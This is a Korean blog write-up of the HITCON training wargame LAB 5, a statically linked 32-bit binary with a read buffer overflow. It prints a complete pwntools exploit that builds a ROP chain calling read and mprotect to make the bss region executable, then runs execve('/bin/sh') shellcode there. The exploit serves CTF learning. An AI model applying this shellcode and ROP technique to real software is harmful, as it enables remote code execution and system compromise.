블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 5
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 5

728x90
[Hicon training]

 

1. 문제


1) mitigation 확인 

NX가 걸려있다. 또한 아이다로 까보면 함수가 엄청 많은데 

 

file 명령으로 확인해보면 static으로 라이브러리가 링킹되어있는것을 확인할 수 있다 

 

 

2) 문제 확인 

ROP가 쉽지 않냐고 물어본다. 그리고 입력을 받는다. 끝이다 

 

 

 

3) 코드흐름 파악 

read로 인해 BOF를 일으킬수 있다 

 

 

 

 

2. 접근방법


static링킹이기 때문에 아이다에서 syscall을 이용할수 있다. int 80; 함수가 있기 때문이다. 처음에 ret에 read로 돌려서 bss 영역에 /bin/sh 을 저장한뒤, int 80; 으로 돌려서 execve를 실행시킬라고 했다. 

 

/bins/sh 문자열까지는 저장했는데, execve syscall을 하기위해서 eax, ecx, ebx, edx를 가젯으로 조져줘야하는데, 하다가 먼가 더러워서 그냥 mprotect로 권한 준다음 쉘코드 삽입으로 해결했다. 

 

 

 

 

3. 풀이


 

시나리오 

  1. ret를 read로 돌려서 bss영역에 쉘코드를 입력할수 있게 한다
  1. 그다음 mprotect로 돌려서 bss 영역에 사이즈는 10000, 권한은 7로 설정한다
  1. 마지막으로 bss로 ret를 돌려서 쉘코드를 실행시킨다

 

최종 익스코드는 다음과 같다 

from pwn import *
context(arch="i386", os="linux",log_level="DEBUG")
p=process("./simplerop")
#gdb.attach(p,'code\nb *0xE6E+$code\n')

read_plt=0x806cd50
bss=0x080e9000
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode=shellcode.rjust(80,"\x90")
payload="A"*0x20+p32(0x806cd50)+p32(0x08048913)+p32(0)+p32(bss)+p32(80)+p32(0x0806d870)+p32(0x08048913)+p32(bss)+p32(10000)+p32(7)+p32(bss)
p.recvuntil("input :")

pause()
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

 

 

 

 

 

4. 몰랐던 개념


  • none
728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 7  (0) 2020.04.15
[Hicon training] LAB 6  (0) 2020.04.14
[Hicon training] LAB 4  (0) 2020.04.13
[Hicon training] LAB 3  (0) 2020.04.13
[Hicon training] LAB 2  (0) 2020.04.13